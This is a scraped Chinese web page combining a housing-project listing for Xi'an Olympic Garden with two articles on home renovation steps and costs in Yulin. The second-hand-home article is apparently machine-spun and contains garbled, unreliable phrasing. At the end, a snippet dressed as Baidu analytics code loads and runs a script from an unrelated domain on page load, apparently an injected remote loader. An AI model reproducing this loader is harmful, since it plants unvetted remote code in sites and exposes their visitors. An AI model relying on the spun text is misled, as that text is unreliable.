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薛冠玉
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西安奥林匹克花园,为您提供购房选择
导语:房产是可以不断增值的固定资产,投资房产是明智的选择,很多人都想买一套属于自己的房子,因此房屋的选择至关重要。建筑商众多的情况下,如何选择小区?很多小区的价格高,但是区位优势明显,但是也有的小区价格较低,交通发达、配套设施齐全,这一类的小区受消费者的青睐。本文小编就为大家介绍一下西安奥林匹克花园楼盘的信息。基本信息物业类别:住宅项目特色:不限购建筑类别:板塔结合、多层、小高层、高层、超高层装修状况:毛坯,精装修环线位置:三环以外容积率:3.00绿化率:40%开盘时间:2015年7月26日H7号楼已经开盘交房时间:预计2017年8月交房物业费:1.00元/平方米·月物业公司:瑞泰联行开发商:陕西泰盈环达通房地产开发有限公司预售许可证:咸房预售字第2015025号售楼地址:西咸新区绕城高速与世纪大道交汇处西北角(寇家庄东侧)物业地址:西咸新区绕城高速与世纪大道交汇处西北角(寇家庄东侧)交通状况:公交线路:咸阳59路、21路、13路公交线、西安K630路、912路等数十条公交车线路,到奥林奥林匹克花园房价:均价5800元/平方米项目配套公园:3公里阔的运动主题公园;学校:中小学和幼儿园布置在沣东路与建章路交叉口;幼儿园:12班,具有良好的日照和独立的活动场地;商业:大型购物中心和特色商业街并行、购物中心囊括电器城、服装城、娱乐城等多种服务区,丰富业态可辐射整个区域。运动配套:3000平米专业运动会馆、包含室内篮球馆、羽毛球馆、乒乓馆、壁球室、攀岩、健身房;室外足球场、网球场、沙滩排球场、门球场等。交通状况公交线路:咸阳59路、21路、13路公交线、西安K630路、912路等数十条公交车线路,到奥林匹克花园站即可到达。地铁线路:地铁1号线延伸段上林路站直抵项目建材装修宽带:预留;暖气:地热集中供暖,分户计量;供水系统:市政;结构:钢筋混凝土;外墙:涂料、局部刚挂石材;电梯:品牌电梯购买房产是人生大事,很多人可能打拼了一辈子才好不容易买上房,因此小区的选择很重要。不同省份和城市的房价不同,消费者因根据自己的消费水平,结合各大楼盘的详细信息进行选择。很多性价比不错的楼盘,价格比较低,但是配套设施完善、房屋性能优、交通便利,是很好的选择。本文为您介绍的西安奥林匹克花园希望为您提供参考。
玉林房屋装修价格和步骤以及装修注意事项
在玉林房屋装修业主通常都会关心几个问题,你知道是什么吗?没错,那就是装修价格和步骤以及装修注意事项了,接下来,玉林装修网的小编就来和你好好讲讲。房屋装修步骤:1、设计:装修时首先要确定的一个项目,定制一个或几个适宜的方案,并选择自己所能承受的档次,高档、中档或者低档。设计费包括策划,一般占整个装修费用的5%-20%不等。规划设计过程需要合理布局,适当分配资金,不要让后面的施工重复使用劳力和材料。2、材料:在制定了装修方案以后,就要开始根据设计进行材料的选择。现在的装修材料已是产品化流水作业,装修已成模式,实际上它就是一种组合。为了寻找一合适的的价格,需要多跑几个建材市场,以寻找最佳组合的材料和价格。材料是家装费用当中支出最大的一块,材料掺假也时有发生,因而在选择过程当中尽量要谨慎,不要买一些没有品牌的产品,以免碰到水货。3、探价砍价:在找到自己合适和中意的材料后,就需要进行探价,商家往往会开出相当高昂的价格,并声称便宜。这时就可以拿出上一步自己探明的市场大致价位和其砍价,并探到其底价为止。4、认定价格、签约:确定了设计规划和材料的大致费用,就可以与一些装修商联系。最好先咨询一些专业人士,介绍比较可靠的装修商,并与之签定合同。合同中的内容应包括使用的材料、指定品牌以及双方认同的价格,越具体越好,以避免今后的纷争。5、总预算:在设计和问明价格的基础上,与装修商一同预算出整个装修过程的费用,包括设计、材料、施工费等。6、时间准备:装修毕竟是一项大开支,需要在装修前腾出足够的时间把设计、材料、问价和预算都做到位,前期准备得越充分,装修的速度才能越快。房屋装修应注意什么:一、前期准备:首先应对自己的房结构要仔细了解,丈量一下实际面积并绘制详细的结构图。主要是了解一下具体布局(包括对原有结构进行合理更改)以及装修总费用(包括材料的价格和人工费用)可对自己的房屋如何装潢有了大致的思路。二、资金准备:一般来说,装潢的总费用应为房屋价格的10%到20%。三、材料预算和费用分配:目前人们以追求舒适为本,那材料费用合理的分配比例是:卫生间与橱房占45%,厅占35%,卧室占20%。四、工期准备:以两室一厅为例,在正常情况下,工期在30天左右,如算上些其它因素,诸如更改设计方案等,也至多40天。五、专业知识准备:在家庭装修前,要做好专业知识的一定积蓄。六、市场调查研究:l.基本价格的调查家庭装修是一项经济活动,价格就是重要的因素,在设计、施工价格方面,也需要家庭有初步的了解,才能做到心中有数,在装修运作时才能做到应付自如。2.市场状况的调查对家庭装修市场的状况进行全面的了解。,应该到专业的机构、单位或组织去了解,如装饰协会、装饰服务中心等。3.家庭装修运作方式的选择(1)直接找装饰队伍:这种方法具有一定的风险,主要是对施工单位不了解。(2)到家庭装修市场找装饰队伍:是一种比较节省精力的方式。(3)通过中介确定施工队伍:中介有两种情况,一种是通过亲朋好友介绍,这种方法受中介方接触行业的广度、深度的限制。另一种是通过专业的服务组织进行介绍,由其介绍的队伍应该是安全可靠的。(4)通过网络确定施工队伍:这是一种全新的方式,相对节省金钱和时间。七、省钱途径:1.精心的策划和完美的设计是省钱的第一途径。2.采用"画龙点睛"的方法。重点装修的地方,可选用高档材料、精细的做工;其他部位的装修采取简洁、明快的办法,材料普通化,做工简单化。3.依托装修公司是省钱的捷径。装修公司在选材上有固定网点,材料优价;在施工上有经验,做工精细;服务上有配套,质量保证。因此,最好不要自己直接请工人施工,表面省钱,实际可能因为您的错误选择而造成更大的经济损失。4.遵循规矩,把好预算决算关。在施工过程中难免变动修改,应参照原始项目单做好过程纪录,以便决算中清理增减项目。八、家装五步骤:1、制订方案,选择档次:高档玉林房屋装修简单点要多少钱?1,装修包含以下项目及费用(全国通用)2,一般水电基础装修价格=房间使用面积*300元3,简单基础地砖墙面装修价格(包含上2)=房间使用面积*500元4,全套基础入住装修价格(包含上2)=房间使用面积*700多元5,精装修价格(包含上2)=房间使用面积*1000多元6,别墅、大户型、根据房间定制(安项目做)=设计费+施工费+材料费+管理费等关于玉林房屋装修的问题小编就讲到这里了,如需了解更多装修资讯请继续关注玉林装修网哦。
玉林二手房怎么装 装修都有哪些步骤?
玉林二手房装修和新房装修步骤有些地方会产生不同,那么因为二手房子的实际情况都不同,所以在装修的时候会发生的问题也都不一样,这就决定了一些二手房的实际情况,才能导致一个房子的详细的家居装修不错,那么下面就来看一看玉林二手房装修都有什么步骤吧。和新房中不一样的是一般玉林二手房装修需要先验证工作,那么这问题就来了,这在修房子的时候工作是非常重要的,因为每个老房子的情况都不一样,那么在装修过程中会发生的问题也都不一样。玉林二手房到验收的时候可以把其中的一些瑕疵以及问题查清楚并对此进行处理,这样可以有效的避免对二手房的装修过程中产生一些时间和经历基础上的浪费。验收之后就是要规划二手房的设计方案,因为一套漂亮的装修设计图可以能让一个破旧的玉林二手房焕发出新的光彩,这也会让在对二手房改造装修的过程中更加省力,方便快捷。那么如果说玉林二手房的客户不需要对他们的房子的墙体进行修改的话,那么就不用做主体拆改这一步骤,但是对于很多老的二手房来说,进行土地改造确是一个非常重要的装修步骤,对玉林二手房的主体改造要注意需要避开一些能承重的墙漆,而且要对布局中更加注重良好的空气流动性以及自然光线的照射。很多二手房来说他们说安装的水路电路这些工程都十分破旧,因此在进行主体墙体改,拆了后的房子最好要重新的做一遍水电工程。最后一个步骤就是基本上和新的房子进行家居装修的步骤相一致了,比如说的玉林二手房的外表进行一些整改,例如修补墙体重新上漆以及对地面贴瓷砖或者是卫生间以及厨房这些用水比较多的地方的防水处理。以上就是对于玉林二手房装修步骤的一些简单介绍,希望对玉林二手房改造有所帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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